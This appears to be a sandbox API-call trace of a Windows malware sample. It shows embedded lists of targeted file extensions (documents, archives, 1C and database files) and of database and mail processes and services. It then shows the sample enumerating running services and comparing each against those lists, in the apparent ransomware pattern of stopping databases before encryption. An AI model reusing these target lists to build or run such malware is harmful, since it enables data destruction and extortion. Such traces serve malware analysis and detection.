	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507100, Size=0x8) returned 0x5070b0
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5085c8
	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070b0, Size=0x10) returned 0x5085f8
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x508610
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5070b0
	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5085f8, Size=0x20) returned 0x52e008
	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507110, Size=0x10) returned 0x5085f8
	[0131.582] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070d0, Size=0x10) returned 0x508748
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5070c0
	[0131.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508790
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5070d0
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5087a8
	[0131.583] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5070d0, Size=0x8) returned 0x507100
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5070d0
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508760
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x507110
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5087c0
	[0131.583] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507110, Size=0x8) returned 0x52e4b0
	[0131.583] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5085f8, Size=0x20) returned 0x52e058
	[0131.583] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508748, Size=0x20) returned 0x52df18
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52e4d0
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508748
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52e4c0
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x508700
	[0131.583] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e4c0, Size=0x8) returned 0x52e3a0
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506400
	[0131.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506440
	[0131.583] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0131.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508180 | out: hHeap=0x4f0000) returned 1
	[0131.584] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0131.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x508718
	[0131.605] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508718, Size=0x20) returned 0x52e080
	[0131.605] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e080, Size=0x40) returned 0x507cd8
	[0131.605] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507cd8, Size=0x80) returned 0x5329a8
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5329a8, Size=0x100) returned 0x5329a8
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x508718
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508718, Size=0x20) returned 0x52df90
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df90, Size=0x40) returned 0x507e40
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507e40, Size=0x80) returned 0x532ab0
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532ab0, Size=0x100) returned 0x532ab0
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508778
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52e430
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x508718
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e430, Size=0x8) returned 0x52e480
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x506500
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e480, Size=0x10) returned 0x508730
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x506640
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52e0d0
	[0131.606] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x508730, Size=0x20) returned 0x52dec8
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x52e030
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x506420
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52de78
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x508730
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52e370
	[0131.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x507bb8
	[0131.607] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e370, Size=0x8) returned 0x52e3b0
	[0131.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x507df8
	[0131.607] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e3b0, Size=0x10) returned 0x5085f8
	[0131.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5064e0
	[0131.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x506620
	[0131.607] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5085f8, Size=0x20) returned 0x52dea0
	[0131.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x506bd0
	[0131.607] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0131.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5329a8 | out: hHeap=0x4f0000) returned 1
	[0131.607] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0131.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532ab0 | out: hHeap=0x4f0000) returned 1
	[0131.607] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52df68
	[0131.842] EnumServicesStatusExW (in: hSCManager=0x52df68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0131.880] GetLastError () returned 0xea
	[0131.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b78) returned 0x534cd8
	[0131.881] EnumServicesStatusExW (in: hSCManager=0x52df68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x534cd8, cbBufSize=0x1b78, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x534cd8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0131.882] CloseServiceHandle (hSCObject=0x52df68) returned 1
	[0131.882] lstrlenW (lpString="AppXSvc") returned 7
	[0131.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0131.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0131.898] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0131.898] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0131.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0131.898] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0131.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0131.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0131.898] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0131.898] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0131.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0131.898] lstrlenW (lpString="Audiosrv") returned 8
	[0131.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0131.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0131.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0131.899] lstrlenW (lpString="BFE") returned 3
	[0131.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0131.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0131.899] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0131.899] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0131.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0131.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0131.899] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0131.899] lstrlenW (lpString="CDPSvc") returned 6
	[0131.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0131.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0131.899] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0131.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0131.899] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0131.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0131.900] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0131.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0131.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0131.900] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0131.900] lstrlenW (lpString="CryptSvc") returned 8
	[0131.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0131.900] lstrlenW (lpString="DcomLaunch") returned 10
	[0131.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0131.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0131.900] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0131.900] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0131.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0131.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0131.900] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0131.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0131.900] lstrlenW (lpString="Dhcp") returned 4
	[0131.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0131.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0131.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0131.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0131.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0131.901] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0131.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0131.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0131.901] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0131.901] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0131.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0131.901] lstrlenW (lpString="Dnscache") returned 8
	[0131.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0131.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0131.901] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0131.901] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0131.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0131.901] lstrlenW (lpString="DPS") returned 3
	[0131.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0131.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0131.901] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0131.902] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0131.902] lstrlenW (lpString="DusmSvc") returned 7
	[0131.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0131.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0131.902] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0131.902] lstrlenW (lpString="EventLog") returned 8
	[0131.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0131.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0131.902] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0131.902] lstrlenW (lpString="EventSystem") returned 11
	[0131.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0131.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0131.902] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0131.902] lstrlenW (lpString="FontCache") returned 9
	[0131.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0131.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0131.902] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0131.902] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0131.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0131.902] lstrlenW (lpString="gpsvc") returned 5
	[0131.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0131.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0131.902] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0131.903] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0131.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0131.903] lstrlenW (lpString="iphlpsvc") returned 8
	[0131.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0131.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0131.903] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0131.903] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0131.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0131.903] lstrlenW (lpString="KeyIso") returned 6
	[0131.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0131.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0131.903] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0131.903] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0131.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0131.903] lstrlenW (lpString="LanmanServer") returned 12
	[0131.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0131.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0131.903] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0131.903] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0131.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0131.903] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0131.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0131.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0131.903] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0131.903] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0131.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0131.903] lstrlenW (lpString="lfsvc") returned 5
	[0131.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0131.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0131.903] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0131.904] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0131.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0131.904] lstrlenW (lpString="lmhosts") returned 7
	[0131.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0131.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0131.904] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0131.904] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0131.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0131.904] lstrlenW (lpString="LSM") returned 3
	[0131.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0131.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0131.904] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0131.904] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0131.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0131.904] lstrlenW (lpString="MpsSvc") returned 6
	[0131.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0131.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0131.904] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0131.904] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0131.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0131.904] lstrlenW (lpString="NcbService") returned 10
	[0131.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0131.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0131.904] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0131.904] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0131.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0131.904] lstrlenW (lpString="netprofm") returned 8
	[0131.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0131.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0131.904] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0131.905] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0131.905] lstrlenW (lpString="NgcSvc") returned 6
	[0131.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0131.905] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0131.905] lstrlenW (lpString="NlaSvc") returned 6
	[0131.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0131.905] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0131.905] lstrlenW (lpString="nsi") returned 3
	[0131.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0131.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0131.905] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0131.905] lstrlenW (lpString="PcaSvc") returned 6
	[0131.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0131.905] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0131.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0131.906] lstrlenW (lpString="PlugPlay") returned 8
	[0131.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0131.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0131.906] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0131.906] lstrlenW (lpString="Power") returned 5
	[0131.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0131.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0131.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0131.906] lstrlenW (lpString="ProfSvc") returned 7
	[0131.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0131.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0131.906] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0131.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0131.906] lstrlenW (lpString="RpcEptMapper") returned 12
	[0131.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
